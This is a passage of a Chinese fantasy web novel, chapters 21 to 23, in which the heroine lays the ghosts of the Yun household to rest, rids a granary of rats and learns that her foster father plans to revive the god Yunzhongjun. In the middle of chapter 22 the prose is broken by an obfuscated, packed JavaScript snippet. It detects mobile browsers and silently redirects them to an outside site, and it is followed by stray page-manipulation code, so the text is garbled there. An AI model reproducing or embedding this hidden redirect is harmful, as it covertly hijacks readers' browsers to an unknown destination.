“你看了月家班演的《云散高唐》居然还能活着。”骷髅货郎眼眶里的磷火缓缓熄灭,“确实是我小看了你。你告诉我你怎么从那一折戏里脱困的,我就告诉你别的事。” 姜慕星低声回答:“大概是巧合吧,我在梦里登了台。然后点了一折《李寄斩蛇》,然后我就把他们都杀了。” 骷髅货郎的下颌咔哒一声掉落在地上,他连忙弯腰去捡,姜慕星也帮忙。手忙脚乱按上下颌骨后,骷髅货郎有些懊恼地连拍大腿骨。 “失策失策。”他说,“原来竟是这般因缘,怪不得我兜兜转转硬是没离开这永泉府。也对,如果你没看我的幻戏,也就拿不到那个枕头。嘿,还真是无巧不成书啊。” 姜慕星深以为然:“所以你能告诉我……云中君和《云散高唐》到底是怎么回事吗?” 21. 第 21 章 听到姜慕星的话,骷髅货郎那张看不出表情的脸上却显露出“我就知道”的神色来。 “你真的想知道?”骷髅货郎咂咂嘴,牙齿咔哒作响。“也对,在见过月家班的《云散高唐》之后,很少有人会不好奇那一折戏。” “但这里不是说话的地方。”骷髅货郎意味深长地看了一眼城隍庙,伸出指骨点点姜慕星的眉心。“你明天早点到这里来,我将故事细细说给你听。” “记住,带上钱来。” 一段路线被灌输到姜慕星的脑子里,那是骷髅货郎曾经走过的一段路,终点是永泉府外双桥镇郊外的一处林地。 姜慕星点点头:“好,我知道了。那我巳时(9:00-11:00)之前会到的。” 之后骷髅货郎便挑着货担离开,姜慕星顺着台阶返回城隍庙内准备休息,她心里总算是轻松了不少。 “道长道长!”姜慕星敲了敲浮一道长的房门,“我明天要出门去双桥镇,就不在庙里吃饭了。” 浮一道长打开门,他看起来已经要休息了:“明日去双桥镇?那你路上当心些。哦对了,今日有人来求郡君相助,你要是顺路的话也去一趟。” “这不是赶巧了。”姜慕星白天光顾着自己那点儿事,险些忘了挂单的正经工作。“您先说是在什么地方,内容是什么?” 浮一道长去桌上拿起一张黄表纸:“喏,都在这里写着呢。” “行,我拿回去细看。道长早点休息,我先走了。” 姜慕星拿着黄表纸一边走一边看,不知道是不是巧合,黄表纸上用朱砂写的地址正是双桥镇外十里东南方向。 虽然上有疑问,但姜慕星此刻并未多想,只是将黄表纸揣进怀里,回屋洗漱睡觉。第二天她起了个大早,带上桃木剑摸了一块胡麻饼就匆匆出了城隍庙。 姜慕星出门的时候才刚刚天亮,她穿过起早的人群往城门口跑。在城防卫打开城门的时候第一个钻出去,刚出去就看到有空置的马车在路边等待。 “阿叔,我要去双桥镇。”姜慕星摸出五个铜板递给赶车的大叔,“什么时候走哇。” 赶车的大叔一看她,连忙拱了拱手:“小道长去双桥镇啊,再来两个人咱就出发。” 姜慕星爬上车,随便找个地方坐下摸出胡麻饼开始啃着吃。看到有陆陆续续出城的人,赶车大叔连忙开始吆喝,很快车上又装了几个人。 “好嘞,咱们出发!” 大叔一挥鞭子赶着马向着双桥镇的方向驶去,姜慕星一直在想骷髅货郎和黄表纸的事,刚回过神来就发现已经到了地方。 下了马车后姜慕星便朝着骷髅货郎给的地方走,但走了一会儿她就发现,骷髅货郎给的地址,和黄表纸上说的镇外十里东南方向是一个地方。 “难道昨天求助的人是货郎?”姜慕星有些怀疑,“不太可能吧。货郎这家伙感觉很厉害的样子,不太像是会有事求城隍的人,他去拜拜财神还差不多。” “算了,到地方再看看。” 十里路虽不算远,但那个林地也没有路线上那么好找。姜慕星又是爬坡又是越溪,折腾了好一会儿才抵达了约定的地点。 她还算守时,到树林的时候刚刚巳时一刻。 这林地在骷髅货郎的记忆里平平无奇,但现在看来却别有玄机。姜慕星虽然没学过风水堪舆之术,但一个地方有无生机还是能用肉眼辨别出来的。 枫树夜猿愁自断,女萝山鬼语相邀。① 姜慕星打量了一下周围,并无半点人迹足迹,看来双桥镇附近的人都不会到这个地方来。不仅是人,就连飞鸟都会绕开这个地方。 就在她观察周围的时候,从林中薄雾里先伸出一个箩筐,接着便是熟悉的身影。骷髅货郎架着货担,摇摇晃晃地朝她走来。 “同修很准时啊。”骷髅货郎将扁担放下,招手让姜慕星过来。“这边坐,站着说话你不累啊。” 姜慕星便走过去,坐在骷髅货郎旁边:“为什么一定要是这个地方?” “你看不出吗?”骷髅货郎环顾四周,伸出指骨朝着八方点了点。“这里就是云府,也可以说曾经的云府就是在这个地方。” “这里是云府?”姜慕星瞪大眼睛,“可是,这里到处都是树哪里像……你之前说月家班是三百年前的事……那也不对啊,怎么一点痕迹都没有了。” 骷髅货郎咔咔地笑:“云府遭逢大难,阖府上下无人生还。一夕风云变,没有留下痕迹岂不是常理。你梦中所见皆为真实,只不过那一日贺寿已循环百年之久了。” “你说的没错。”姜慕星更加好奇,“但你又是怎么知道我在梦里循环贺寿的?之前不告诉我,是因为地点不对吗?” 骷髅货郎点点头,然后伸出手骨:“看幻戏的钱带来了吗?” 姜慕星摸出一吊钱给他:“够不够,不够我再拿。” “一段无足轻重的陈年往事,这些钱足矣。”骷髅货郎收起钱,站起身来走到姜慕星前面。 随着骷髅货郎抬手,姜慕星看到黄绿色的玉琼思从空中浮现,开始朝着骷髅货郎的身侧凝聚。他从货担里摸出一个布包,里面是一叠码放整齐的圆纸钱。 他抓起一把纸钱用力洒向空中,但那些纸钱并未落在地上,而是如日照积雪般消融。随后姜慕星眼前空气如水波般泛起一圈圈涟漪,一晃神的功夫她便不在林中,而是立于云府之外。 “这,这是云府!” 当看到熟悉的匾额,姜慕星叫了起来。她看向旁边,骷髅货郎也站在那里。他迈步朝里走去,示意姜慕星跟上。 当迈入云府之后,姜慕星就看到满地狼藉。断裂枯死的树木,倾倒歪斜的建筑,还有俯趴在地上残缺不全、早已流干血液的身躯。她越看越心惊,满腹疑问直到抵达氤氲池前。 “瞧。”骷髅货郎指着水面上漂浮的衣物,他还贴心地挡了挡姜慕星的视线,不让她看到水面上被泡胀肿大的断肢。“这便是破了循环的云府。若你没能以斩蛇逃离此处,恐怕也会和他们一样落得凄惨下场。” 姜慕星环顾四周,云府的众人很好辨认,他们都穿着艳色的服装。虽然沾满血迹落满灰尘,但终究还是易于辨认。 还有一些尸首残缺不全、形态可怖,但打扮各有不同,应该是死在这里的“宾客”。一想到自己差点也成为躺在这里的一员,姜慕星不禁有些庆幸自己当时全身而退。 骷髅货郎双手合十摆了摆,姜慕星也照做。拜完之后,骷髅货郎一挥手,地上水里的尸体尽数化为黄绿色的光球。姜慕星看到骷髅货郎拿出一个小盒子,将光球们都收拢在一起。 “给你。”骷髅货郎说,“他们就交给你了,我可不能拿着这东西。” 姜慕星接过这沉甸甸的小盒子:“为什么,你不能超度他们吗?” 骷髅货郎意味深长地说:“就算我可以,我也不能做。凡事都讲究一个缘,你和他们有缘,这件事非你不可。” 姜慕星似懂非懂。 “云府主人曾经姓甚名谁已无人知晓。”骷髅货郎坐在尚且完好的椅子上开始说,“自从他们对外交际,便自称姓云。” “这个云不是一般的云,而是云中君的云。” 姜慕星咀嚼了一下这句话,她看向骷髅货郎:“我查阅了城隍庙中的典籍,并没有找到云中君相关的信息。梦里云老太君说他们是云中君的信者……我夫子也 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“那……”姜慕星小声问,“月家班是怎么回事?他们为什么要在云府表演《云散高唐》?” 骷髅货郎嘿嘿一笑:“你可知道哪位神君,最喜变化无常,最喜世间苦乐?” “额,我想想。”被猛然提问,姜慕星还有点没反应过来。但她才读了典籍没多久,脑子十分灵光。“是,是不是清宝天尊?” 她想起来了,最初上台的歌者头上簪着的东西并不是花朵,而是组成花朵的羽毛。 “没错。”骷髅货郎一拍大腿骨,“月家班就是清宝天尊的信者,不过他们道行还是低了点,没到宝相灵官的水平。毕竟只是一群以戏耍凡人和低阶修士为乐的家伙,没什么太大的本事。” 姜慕星沉默不语,就是他口中这群没什么太大本事的家伙,险些把她困死在梦境中,还杀了云府满门。 骷髅货郎摇头叹息:“我也不知月家班来云府是为了什么,但不管怎样这件事都已经结束了。被困此地三百年,能够一朝解脱也是一件好事。” “我的幻戏讲完了,同修看得可还满意?” 姜慕星捧着小盒子,有些勉强地笑了起来。一眨眼的功夫,他们又回到林地坐在扁担上。 骷髅货郎塞给姜慕星一些香烛和纸钱,随后站起来挑起货担:“我要走啦,他日有缘自会再相见。小同修,你可得好好保重,下次见到的时候,再来买我的货!” 姜慕星点点头,目送骷髅货郎摇摇晃晃地隐入薄雾中,慢慢消失不见。 她手中还捧着沉甸甸的小盒子,就在姜慕星烦恼如何超度亡魂的时候,那张被揣在衣服里的黄表纸自己滑了出来。 黄表纸上原本只是写了地点,现在上面的字迹却变成了一段悼文。一段姜慕星不懂什么意思,但却能读出来的、写给云府众人的悼文。 这段悼文正好帮了姜慕星的忙,虽然不知道是哪位好心捉刀代笔,但解了燃眉之急总归是好事。 “姜某在此谢过。”姜慕星鞠了一躬,将小盒子放在一块石头上。 她插好香烛后拿起黄表纸开始念诵,一边念诵一边抛洒纸钱。 伴随着姜慕星的念诵一道道淡金色的玉琼思萦绕在她周身。 悼词很短,不过两三百字。念完之后小盒子自己弹开,里面黄绿色的光芒融合了淡金色的玉琼思,逐渐上升直到逸散在空中。 恍惚之间,姜慕星听到有人在道谢。那声音不辨男女,像是很多人的声音杂糅在一起。 姜慕星立于原地,久久不发一言。半晌之后,她默默转身离开。 但她没有注意到,乱石之下有一双小眼睛正在盯着她。 22. 第 22 章 姜慕星从林中返回后,在双桥镇待到下午才有返回永泉府的马车。她来的时候心事重重,回去的时候也没轻松到哪里去。 不过这件事总算是告一段落,姜慕星的一些疑问也在骷髅货郎那边得到了合理的解答。 不管她再怎么唏嘘云府之事,那也和她没有任何关系了。 逝者已矣,姜慕星能做的只有这些。 回到城隍庙已经快天黑了,浮一道长给她留了饭。姜慕星就着咸菜一边吃饭,一边和浮一道长说了去双桥镇的事。 她当然没有说实话,掐头去尾说了求助的人说闹鬼,让她帮忙超度亡魂。 “所以你过去就是给人烧纸送葬?”浮一道长咂咂嘴,“就这,还劳烦跑一趟。镇子里就没有个神婆神汉的,真麻烦。” 姜慕星有些心虚:“倒也不是这么说……总之能帮上忙就好,我吃饱了,谢谢道长。” 浮一道长让她把碗洗了去休息,明日还要早起。 姜慕星拖着有些疲惫的身体匆匆睡下,她依然枕着木枕一觉到天明。晨起后姜慕星收拾好了房间,她打算去城东看看刘氏夫妇。 在和浮一道长说的时候,姜慕星还有些心虚。 毕竟说是来城隍庙挂单,这么些天也没干什么实事。除了云府大梦一场之外,她倒像是来这里白吃白住的。 但浮一道长不以为意:“本来城隍庙就没多少事,要天天都有大事谁受得了。天下太平海晏河清才是人间正道,你就放心去,记得回来就成。” 姜慕星谢过浮一道长,提着一包点心就往城东走。说来也巧,她刚到城东就遇到了许久不见的盛光霁。 “阿宝哥!” 盛光霁站在路口左顾右盼,不晓得是不是在等人。听到有人叫他,面容俊秀的少年郎立刻转头。 当看到是姜慕星时,他一张玉面上顿时露出了大大的笑意。 只是比起刚见到盛光霁那会儿的神采奕奕,他现在略有疲色。 “好巧!”盛光霁手里也拎着包好的点心,“原来是小小,我正要去刘家寻你呢。” 姜慕星见到故人倍感亲切,立刻想起了新年泛舟的事情:“你来找我玩吗,城主府允你出来了?” 盛光霁笑着说:“听你这话倒像是我在躲你不出来一样,城主府哪能不让羽客出来的。是我自己最近一直在修炼功法,今日才得空来看看你。” “怎么就你一人,二弟还没回来吗?” 两人边走边说,姜慕星摇摇头:“豆豆哥还没回来,他和刘大叔一起出门,少说也得个把月吧。毕竟出门在外,什么时候回来还真没个准数呢。” 盛光霁点点头:“说的也是,现在想来泛舟游湖好似发生在昨日。若是能再见到二弟,也算是咱们兄妹团聚了。” 说话间两人已经到了刘氏木材铺,刘元亮不在,店铺里就只有李三娘和两个伙计在忙碌。 李三娘见到姜慕星和盛光霁,眼前一亮,连忙招呼二人进来说话。 “三娘子,我来看看你。”姜慕星将两包点心放在桌上,“这么些天没见,生意可还好?” 李三娘嗔怪:“来就来,还带什么上门礼。生意自然是还过得去,走走走,去后面说话吧。” 她放下手里算盘,嘱咐伙计看着店,自己则带着二人进了小院。姜慕星舒舒服服坐在团椅上,喝着李三娘倒的热汤,满足的像一只晒太阳的猫咪。 “城隍庙的活计辛苦你了。”李三娘十分关切,伸手摸了摸姜慕星的脸颊。“瞧你,都累瘦了。” 姜慕星自己倒是没什么感觉:“是吗,我没发现。浮一道长对我很好的,庙里有吃有住,我还赚了点小钱呢。” 她又习惯性报喜不报忧,在城隍庙这段时间她哪里就赚到钱了,花出去的钱倒是不少。不过这些就没必要告诉长辈,平白添些烦恼。 “那就好。”李三娘也没追问,看向盛光霁。“盛郎君今日也出得府来,这段时间看来修为大有精进。” 盛光霁十分谦虚:“只是略有所得。” “我的修为也精进了不少呢。”姜慕星捧着脸颊笑着说,“虽然只是精进了一点点,但功课从未落下。” 李三娘当然十分欣慰,姜慕星此时比起新年那会儿,神光内敛,双眸神采奕奕。 她虽是鼠妖,但常年大隐于市,看待晚辈的态度自然是更加贴近人修一些。 刘元亮不在家,姜慕星和盛光霁便留下来陪李三娘吃饭。直到天色渐晚,姜慕星才依依不舍地同她道别。 “今晚我能去城隍庙叨扰一晚吗?”盛光霁陪着姜慕星往城西走,“自从来了永泉府,我还没去过那边。” 姜慕星点头:“当然可以,有的是客房给你住。浮一道长也会很高兴的,咱们还能多聊一会儿。” 又走了一会儿之后,盛光霁仿佛下定了某种决心。他看向姜慕星,低声说:“小小,我可能要离开城主府了。” “嗯?”姜慕星有些懵,她眨巴眼睛面露不解。“你在城主府不是待的挺好,好不容易成为了正经羽客,怎么突然就要走?” 盛光霁面露苦笑:“之前入城主府,是想要振兴觐真观。但这段时间我仔细想了想,城主府并不适合我。” 虽然他并没有说城主府如何不适合他,但姜慕星猜测恐怕是羽客之间的勾心斗角让少年心性的盛光霁有些无法忍耐。 她贴心地没有追问,只是拍了拍盛光霁的肩膀。 “阿宝哥做什么决定我都支持你。”姜慕星说,“路是自己走出来的,只要问心无愧就好。” 听到姜慕星的话,盛光霁脸上露出了笑意,他用力点点头,隔着衣服握紧了悬挂的清宝天尊像。 “浮一道长,我带朋友来了。”姜慕星一进院子就呼唤浮一道长,“道长你在吗?” 浮一道长抱着一捆柴火走出来,没好气地说:“没看到贫道在劈柴吗,你这娃娃不来帮忙还乱叫嚷什么。嚯,城主府的羽客,这算是大驾光临,令小庙蓬荜生辉啊。” 盛光霁施礼:“呃,在下盛光霁,见过浮一道长。” “你听过老道的名号?”浮一道长放下柴火,勾起唇角捋了捋胡须。“看来城主府虽大,还是有人记挂贫道嘛。” “……确实。” 盛光霁有些不好说,他没听过浮一道长的名号,只是刚才姜慕星说他才知道。 但看起来浮一道长对城主府的羽客颇有意见,这个误会还是莫拆穿为好。 浮一道长实在是很好哄,在盛光霁的礼貌应对下,他还是邀请他进屋喝茶说话。姜慕星在一边打圆场,倒也相处融洽。 修行之人并不会因为晚饮茶而失眠,以茶代酒过三巡后,姜慕星才问浮一道长:“道长不喜欢城主府吗?” “没这回事。”浮一道长摆摆手,“城主府何等界地,贫道算哪个排面的人物,轮得到我喜欢不喜欢吗?但你这娃娃看起来不错,给你一句忠告罢。” 盛光霁这人最大的优点就是听长辈劝,当即拱手:“请道长赐教。” “早点离开,对你是好事。” 这个观点和盛光霁最近所思所想不谋而合,他郑重地点了点头。浮一道长喜爱年轻修士,不乐意见他们过早在名利场中沉浮。 姜慕星完全没有意见,她也觉得盛光霁这么年轻应该出去闯荡一下比较好。 好男儿志在四方,岂能郁郁久居人下。就算那是城主府也不行,都当修士了没点儿心气怎么能行。 盛光霁十分感动,他之前还有些犹豫不决,现在认识的亲朋好友都赞同他的想法。那就没有什么好顾虑的,只要遵照本心去做就行。 “时辰也不早了,你们早点去休息吧。”浮一道长说,“天大的事情也要早睡早起。” 说完他立刻赶着姜慕星回房去,盛光霁就在客房休息。第二天一大早,盛光霁神采奕奕的和姜慕星他们吃了早饭才告别。 “我这就回城主府辞行。”盛光霁说,“之后我会回到觐真观,若是二弟回来记得给我稍一封信。我会去双柳河村看你们的。” “好呀。”姜慕星点点头,“我看典籍的时候记得有一门术法,可以通过两边的信物进行对话沟通。阿宝哥你有我的玉佩,我有你的扇子,我们到时候用这个联系吧。” “你说的是飞音传书吧。”盛光霁笑着点点头,“这个主意好,到时候我们就用这个联系。时间不早了,我也该走了,小小你要保重身体啊。” “阿宝哥你也是。”姜慕星挥挥手,目送盛光霁远去。 在送走盛光霁后,姜慕星难得泛起了一丝惆怅。但这种惆怅没有持续多久,第二天城隍庙就有香客来上香求助了。 这一次是正经的求助,求助的人是永泉府附近的地主。来求助的是一位米地主的管家,说是开春后家中闹鼠患,聘的狸奴也抓不完这些鼠类。 “而且这些鼠类凶猛异常。”米管家说。“一开始狸奴还能抓到一些,可抓着抓着老鼠就越来越大,越来越多。” 他比划了一下:“有,有这么长!若不是看家护院的还有几条大狗,这些老鼠说不定还会咬人!道长您是没有看到,那可太可怕了!粮仓里一打开乌泱泱的全都是,死的活的都堆成一堆!” 浮一道长捋着胡须点点头:“我明白了,正好咱们这里有灭鼠之法。只要用上,保管药到病除。” “唉哟,这可太谢谢您了。”米管家不断作揖,“我代我家老爷还有米家所有佃户谢谢您。刚开春正是青黄不接的时候,这个时候粮仓遭殃可不是小事。” “姜道长。”浮一道长一挥拂尘,慈眉善目的说。“此番就劳烦你走一趟了。” 这灭鼠之法姜慕星在典籍上也看到过,不算什么高深法术。准备得当的话,一天之内也就完成了。米管家给的酬金不少,这一趟跑下来姜慕星至少可以拿一两银子。 “好说。”姜慕星笑眯眯地点头,“米管家事不宜迟,我们这就出发吧。浮一道长,我先行一步。” “欸,好。”浮一道长目送她跟着米管家上了马车,一路朝着城外疾驰而去。 说来也巧,米地主所在的村子距离双流河村并不远,大约五十里的距离。在马车上的时候,姜慕星又询问了一些关于鼠患的事。 米管家知无不言,言无不尽。 那他们就抵达了米地主的村子,米地主和众多佃户都在村口翘首以盼。虽然穿着法衣的姜慕星是个妙龄少女,却没有任何人敢小觑她。 “看来这个村子的人,至少米地主见过修士。”姜慕星心中默默下了一个评价,“不会以貌取人,这很好。” 姜慕星也不啰嗦,直奔主题:“带我去闹鼠患的粮仓看看,动作快的话,很快就能灭了这群老鼠。” 米地主一边挪动胖胖的身体,一边带着姜慕星朝粮仓方向赶去。当抵达粮仓门时,守候在这里的佃户早已用麻布遮挡口鼻。 “抓九只老鼠给我。”姜慕星吩咐道,“还有叫几个身强力壮的人在附近挖坑。坑深二尺五寸,然后运九百斤土过来填坑。” “另外去镇上的狱中取一些土,动作要快。”① 姜慕星要求的的东西都不算困难,没有什么金贵物件。米地主虽然心有疑惑,但还是嘱咐他们尽快照做。 在他们去搬运东西的时候,姜慕星绕着粮仓转了几圈。从地理位置上来看,这个粮仓修筑的十分标准,墙壁的防火防水措施做得很到位,是夯的很结实、掺有秸秆的灰泥墙。 按理说这个粮仓不应该会闹鼠患,她并没有找到任何鼠洞,所以这些老鼠是打了多深的地洞才到了这里? “真是古怪。”姜慕星感觉这段时间好像和老鼠杠上了,从旺远村开始就时不时和老鼠扯上关系。 当然刘氏夫妇和普通的老鼠的区别,比人和狗的区别都大。 粮仓闹鼠患是大事,全村的人都行动起来帮忙。很快他们就准备好了姜慕星所需要的全部东西,坑也挖好了。 姜慕星让他们把装有九只老鼠的笼子丢进坑里,随后用这九百斤土将坑填平夯实。 在他们填土的时候,姜慕星用朱砂在黄表纸上龙飞凤舞的写着符箓,随后将符箓烧成灰搅拌在狱中的泥浆里。 “道长,把这些泥浆涂抹在墙上就可以了吗?”米地主小心翼翼地询问。“这样真的有效吗?” 姜慕星点点头:“照我说的去做,一会儿打开粮仓你们就能见分晓。” 泥浆抹完之后,姜慕星示意他们打开粮仓。伴随粮仓打开,一阵恶臭扑鼻而来,她并起剑指催动风诀驱散这股恶臭,随后出现在众人眼前的是满地鼠尸。 “全都死了!”一个佃农弯腰去查看,喜不自胜地说,“太好了,没有老鼠了!” 佃户们喜不自胜,连忙向姜慕星道谢。她笑着让众人拿走剩下的泥浆去填补自家的鼠洞,这样一来整个村子就不会再闹鼠患了。 由于姜慕星的术法高强,见效极快,米地主慷慨解囊又额外给了姜慕星一两银 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14726595|155044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子做酬劳。姜慕星心里乐开了花,笑纳了这额外收入。 天色渐晚,姜慕星宿在米地主家的客房里,她和米地主约定好第二天派马车送她回一趟双柳河村。 许久不见阳夫子,姜慕星十分想念这个慈爱的养父。现在她赚了钱,也该回去好好孝敬一下他老人家了。 第二天一大早,米地主家的马车就送姜慕星回了双柳河村。刚到村口,姜慕星就看到了赶着一群鸭子下河的花大娘。 “欸,这不是小小吗?”花大娘看到姜慕星从马车上跳下来,圆墩敦的脸上盈满了笑意。“哟,这还穿着道袍呢。是小姜道长啊!” 姜慕星谢过车夫,笑嘻嘻地凑到花大娘跟前:“阿婶好久不见,我家夫子在家吗?” “在呢。”花大娘将鸭子赶下小溪,“自从你和豆豆两个人离开村子,你夫子啊,就没怎么离开过家。” 姜慕星眼前立刻浮现出一个孤寡老人的形象,背影萧索,满面愁容。她顿时觉得很不好意思,出门一趟光顾着自己的事,都把阳夫子给忘记了。 这可不好,得好好道歉才行;虽然阳夫子肯定不会觉得她有错,但态度总归是要拿出来的。 姜慕星辞别花大娘,一路小跑回到了家。 结果一到家门口,就看到阳夫子翘着二郎腿,在摇摇椅上优哉游哉地看书品茶。她脑补出来的那个孤寡老人形象碎了一地,仔细瞧瞧阳夫子甚至还胖了点。 “夫子!”姜慕星松了一口气,推开柴扉进了院子。“我回来啦!” 阳夫子放下手中书,露出笑容:“你到村口我就晓得了,看你这样子,有喜事?” “嘿嘿,那当然啦。”姜慕星献宝一样将荷包里的一两银子捧在手心给阳夫子看,“你看,这是我赚的酬劳哦。小小很厉害吧!” 阳夫子没有接,他摸摸姜慕星的头:“小小真厉害,赚钱能力比夫子强多啦。唔,你最近瘦了些,没好好吃饭?” “哪能呢。”姜慕星确实瘦了,但她自己并没有什么感觉。“我修为还提高了呢,甚至……” 她张了张嘴,差点就把梦中云府的事给说了出来。好在她及时打住,没有出现纰漏。 “甚至?” 姜慕星查缺补漏:“甚至还能轻松以厌(ya)鼠之法绝灭鼠患,是不是很厉害!” “小小学艺,何事不精呐。”阳夫子从不吝啬夸奖,“你回来的正巧,早上刘兄飞音传信与我,明日他们就返回永泉府,后天豆豆就能回家了。” “啊,这么快啊。”姜慕星有点开心又有点失望,“我还以为豆豆哥会到年底才回来呢,原来也就去了小半个月呀。” 阳夫子收起书本和茶杯:“今日你回家,就让夫子下厨做点好吃的给你。等豆豆回来了,再做一桌好菜。” “好呀好呀。”姜慕星十分快活,“我要吃鱼,做鱼羹好不好?我去河里挖点水菜来,今天的口福我先享了!” 姜慕星脱下身上华美的法衣,换上平日常穿的粗布衣衫。她用细软麻绳系好袖口裤脚,挎着篮子哼着歌就去河边摘菜。 春日万物复苏,水中一派生机勃勃。蒌蒿满地芦芽短,正是河豚欲上时。② 阳夫子做了鱼片羹,和姜慕星两人美美地饱餐一顿。他并没有过多询问姜慕星在城隍庙这段时间都遇到了哪些人,哪些事,只是从一个寻常父亲的角度关心她的衣食住行。 “夫子……”姜慕星张了张嘴,几次都想要不直接告诉他关于木枕的事。 但她又有些不知道如何开口,就在踌躇之间,阳夫子收拾碗筷,示意她去书房等他。 阳夫子的小院有一共有三间房,最大的那间划为三部分,分别是左书房、中正厅、右卧房。姜慕星来到书房等着阳夫子,他一边擦拭手上的水,一边示意姜慕星坐下说话。 “你心里有事。”阳夫子不愧是姜慕星的养父,他一眼就看出她有事瞒着他。“想必这件事非同寻常,你拿不定主意到底要不要同我说。” 既然被看穿了,姜慕星也无法隐瞒下去:“嗯,是有事瞒着您。但夫子放心,我自己没事。” “净扯谎。”阳夫子弹了一下她的额头,引得姜慕星捂住脑门。“你身上纠缠着一股玄青之气,当我看不出来?怎么平白无故招惹上清宝天尊的麾下?” 姜慕星瞪大眼睛:“夫子你这都能看出来,好厉害!你的修为究竟有多高深啊,我的天目还有浮一道长的天目都看不见,您是怎么办到的?” 阳夫子也没自谦:“修为到了,自然就能看到了。说吧,你遇到了什么事?既然你全须全尾地坐在我面前,那就说明事情并不大。夫子我也不是没见过世面的毛头小子,些许惊吓还吓不到我。” 姜慕星有些讪讪,双手捏着衣摆忍不住揉搓了一下:“就是,就是……看了一场戏。” “什么戏?”阳夫子挑眉。 “……《云散高唐》。”姜慕星声如声如蚊蚋,“月,月家班演的。” 啪嚓。 阳夫子手中的杯子落在地上,碎成了八瓣。他的手被滚烫的茶水烫了个正着,但他丝毫没有察觉,只是瞪大双眼看着姜慕星。 “夫子你的手!” 姜慕星还没来得及多说一句,阳夫子已经攥住了她的手腕:“你这孩子!莫要吓我!你真的没事吗,为何会遇到月家班,为何会看《云散高唐》,你,你当真没事?” 这还是姜慕星第一次看到阳夫子失态,在她的记忆里阳夫子从来都是自信从容,不疾不徐,手里拿个羽扇都能扮演一下诸葛孔明。 谁成想他也有如此慌张的一天。 “我真的没事。”姜慕星握紧阳夫子的手,“您看,我这不是好好的吗?我把月家班的都杀了,我逃出来了。夫子,是我赢了。” 阳夫子的表情变幻了好几下,千言万语都化作一句无奈叹息:“没事就好,没事就好。” “所以夫子……”姜慕星接着说,“关于云中君的事,我都知道了。” 阳夫子抬起头看向她:“你都知道了?……也罢,这件事本来不想告诉你和豆豆知晓,既然你已经知道云中君的事,那我也就不再瞒你了。” 姜慕星感觉有些奇怪,她说的意思,好像和阳夫子说的意思不太一样。 阳夫子接着说:“没错,我已联系上神使,不日便可动身起事。只是小小,你年纪尚小,也还未拜入神君麾下,为父……认为这件事应该你自己决定。” 姜慕星:“……啊?” 23. 第 23 章 阳夫子这番话超过了姜慕星的预料,她一时不知该说些什么。 “莫怕,不会有事的。” 看姜慕星半天没说话,阳夫子还以为她还没缓过来,于是伸出手拍了拍她头顶,让她安心一些。 “夫子,你是云中君的神使吗?”姜慕星问。“在那个云府里,我听云老太君说你也有成为神使的资格。” 阳夫子一愣,露出些许苦笑:“若是我年轻几岁,勤修苦练下或许还有这个资质。但我已经老了,没有那种不切实际的念头啦。” “夫子才不老。”姜慕星认真地说,“您在我心里,是最有学识、最厉害的人……不过夫子,您说的‘动身起事’,是指什么?” 阳夫子有些踌躇,他犹豫再三最终还是开了口:“我们要起的事,是复活云中君。” “复活……云中君?”姜慕星脑海里立刻浮现那血淋淋的一幕,她压住那股不适感。“神君被夺走权柄后,并没有消散于天地间,而是像活人一样有生有死?” “正常来说,不管是八神君还是后来衍生的次等神君们,死后都是消散于天地,还灵气与万物。”阳夫子说,“但云中君并没有彻底死去。祂还活着,是因为其他七神并未完全吸收掉祂全部的力量。” “我们必须在祂的力量被完全吸收前复活祂。” 虽然这听起来特别像某些作品里反派组织的大计划,但姜慕星凭借这么多年对阳夫子的了解,以及她目前得到的线索综合分析,复活云中君这件事没有任何不合理的地方。 “原来如此。”姜慕星理解了,“所以……这件事就是夫子最大的秘密?” 说到“秘密”的时候,姜慕星压低了声音,还俏皮地朝阳夫子挤了挤眼睛。看到她这样,阳夫子也忍不住笑了起来。 他点点头,伸出小拇指和姜慕星勾在一起摇了摇,做了一个她还是幼童时的约定。 …… 春分雨脚落声微,柳岸斜风带客归。① 贺豆豆立在船头,遥望东方。此处距离永泉府已经很近了,他昨天下午听刘元亮说再过一天就能抵达城东码头。 “豆豆。”就在贺豆豆心中期盼船再开的快些时,刘元亮的声音从身后响了起来。“在这里杵着干嘛呢,现在不怕晕船啦?” 贺豆豆有些无奈地转过头去:“刘大叔,我现在已经不晕船了,您就别调侃我了。我,我就是想看看什么时候到家。” “不晕船就行。”刘元亮说。“至于什么时候到家,我估计的时间准没错,明天准到。不过豆豆,你这个年纪的孩子不是都喜欢的往外跑,哪有你这么恋家的?” “我这是第一次自己出远门。”贺豆豆坦言相告,“确实是想念夫子和小小了,也不知他们在家里怎么样。” 刘元亮笑了起来,走上前与贺豆豆并肩站着:“放心吧,肯定没事。说不定等你回去了,他们还胖了几斤呢,哈哈!” 贺豆豆笑着点头:“胖了好,胖了说明没有亏待自己还赚了钱呢。真希望睡一觉醒来就在家门口站着了。” 刘元亮揉了揉贺豆豆的头发,嘱咐他不要着凉早些回去睡觉。等他走后,贺豆豆又站了一会儿才返回船舱里。 底部货仓里有穿短打的汉子围坐在一起打叶子牌,他们上方悬挂着一盏不明不暗的灯笼。灯笼半新不旧,光源却稳定异常,比起一般家中用的火烛好上不少。 但贺豆豆知道,这灯笼里燃烧的可不是蜡烛,而是符箓。 上船之前刘元亮就给他透过一些船主的底,说这船主和城主府的一位羽客关系密切,因此船上有不少修士的玩意儿。 倒也不是多精贵,主打一个省时耐用。 “小豆哥,今天怎么不来玩两把?”见到贺豆豆回来,一个捏着牌的汉子冲他招招手,“要玩不,我这里有位置!” 旁边的人一把按住这汉子的膝盖:“你这人,怎么才打两把就要跑的。小豆哥你别听他胡咧咧,他要玩呢。” 贺豆豆哪能不知道他们,做局给他看呢。不过就算真要打牌,他也不会输,只是他今天并没有那个玩乐心情。 “你们打吧,我要早些睡。”贺豆豆走到自己睡觉的地方,伸手抻抻铺好的床单,翻身躺在了上面。“小声些就行。” 见贺豆豆不来玩牌,几个大汉也只能压低声音自 